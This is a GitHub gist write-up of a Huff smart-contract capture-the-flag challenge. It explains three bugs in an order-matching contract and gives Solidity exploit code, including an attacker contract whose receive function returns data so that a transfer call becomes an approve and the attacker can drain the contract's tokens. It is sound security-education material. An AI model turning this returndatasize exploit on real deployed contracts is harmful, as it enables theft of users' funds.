Skip to content

Instantly share code, notes, and snippets.

@Jinmo

Jinmo/README.md Secret

Last active March 6, 2023 18:37
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Jinmo/b6951c223ad19c8f1fa7b5a1aadc5e9a to your computer and use it in GitHub Desktop.
Save Jinmo/b6951c223ad19c8f1fa7b5a1aadc5e9a to your computer and use it in GitHub Desktop.

Bugs & writeup

This is a writeup for https://github.com/Philogy/sussy-huff-ctf.

1. 999e6 should be 999e18

challenge.addToTokenOrder(0.5e18, 999.0e6);
token.transfer(attackerStartAccount, 1.0e6);
vm.stopPrank();
vm.deal(attackerStartAccount, 100 ether);
  • required_token_amount = 1998e6 * 0.5e18 / WAD = 999e6 (initial balance of the Challenge)
  • = 1998e6 wei is enough to buy all remaining tokens

Solution #1

challenge.addToEthOrder{value: 1998e6}(0.5e18);
challenge.matchEthOrder(attackerStartAccount, tokenOwner, 0.5e18);

2. required_tokens should be (price * wad) / eth_sell_amount

    SAFE_MUL(<zero>)  // [eth_sell_amount * price, WAD, buyer_token_amount, buyer_order_slot, eth_sell_amount, price, buyer, seller]
    div               // [required_tokens, buyer_token_amount, buyer_order_slot, eth_sell_amount, price, buyer, seller]

: In the code, it's calculated as (price * eth_sell_amount) / wad

3. returndatasize is not valid after line 174; it can be non-zero

    RCALL(<zero>)     // [eth_sell_amount, price, buyer, seller]
...
    __FUNC_SIG(transfer) <zero> mstore

Also, the last 4bytes of TOKEN_ORDERS_SLOT equals to FUNC_SIG(approve).

#define constant TOKEN_ORDERS_SLOT = 0x52cfa636092f712b3c21ef98bcd41f3ce3b718ddf8ed6b59941f6461095ea7b3

$ cast sig 'approve(address,uint)'
0x095ea7b3

If attacker returns non-zero return data from the RCALL, <zero> (=returndatasize) becomes non-zero. This makes the mstore above write FUNC_SIG(transfer) to non-0x0.

contract Attacker {
  receive() {
    // Make <zero>(=returndatasize) return 0x40 from now on
    assembly {
      return(0, 0x40)
    }
  }
}

By making <zero> return 0x40, we can overwrite the amount field to FUNC_SIG(transfer), keep function signature as FUNC_SIG(approve) - this makes challenge call token.approve(buyer, FUNC_SIG(transfer)) instead of token.transfer(buyer, required_token).

Solution #2

        // Put solution here, no cheat codes
        Attacker attacker = new Attacker{value: 1 wei}(tokenOwner, challenge, IERC20(address(token)));
        token.transfer(address(attacker), 1);
        attacker.hack();

...
interface IERC20 {
    function approve(address to, uint256 amount) external;
    function transferFrom(address from, address to, uint256 amount) external;
}

contract Attacker {
    address tokenOwner;
    IChallenge challenge;
    IERC20 token;

    constructor(address tokenOwner_, IChallenge challenge_, IERC20 token_) payable {
        tokenOwner = tokenOwner_;
        challenge = challenge_;
        token = token_;
    }

    function hack() public {
        uint256 price = 1 ether;
        token.approve(address(challenge), 1);

        // Make an eth-token order pair at price 1 ether x 1 token
        challenge.addToTokenOrder(price, 1);
        challenge.addToEthOrder{value: 1 wei}(price);

        // Now this.receive() will be called, returndatasize becomes 0x40, which transforms transfer(to:this, amount:1) to approve(to:this, amount: FUNC_SIG(transfer))
        challenge.matchEthOrder(address(this), address(this), price);

        // Magic! token.allowance(challenge, address(this)) became FUNC_SIG(transfer), which is larger than 999e6.
        token.transferFrom(address(challenge), address(this), 999e6 + 1);
    }

    receive() external payable {
        assembly { return(0, 0x40) }
    }
}

Thanks for the fun challenge! was nerdsniped by huff

@jinmo123 / @chainlight_io

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment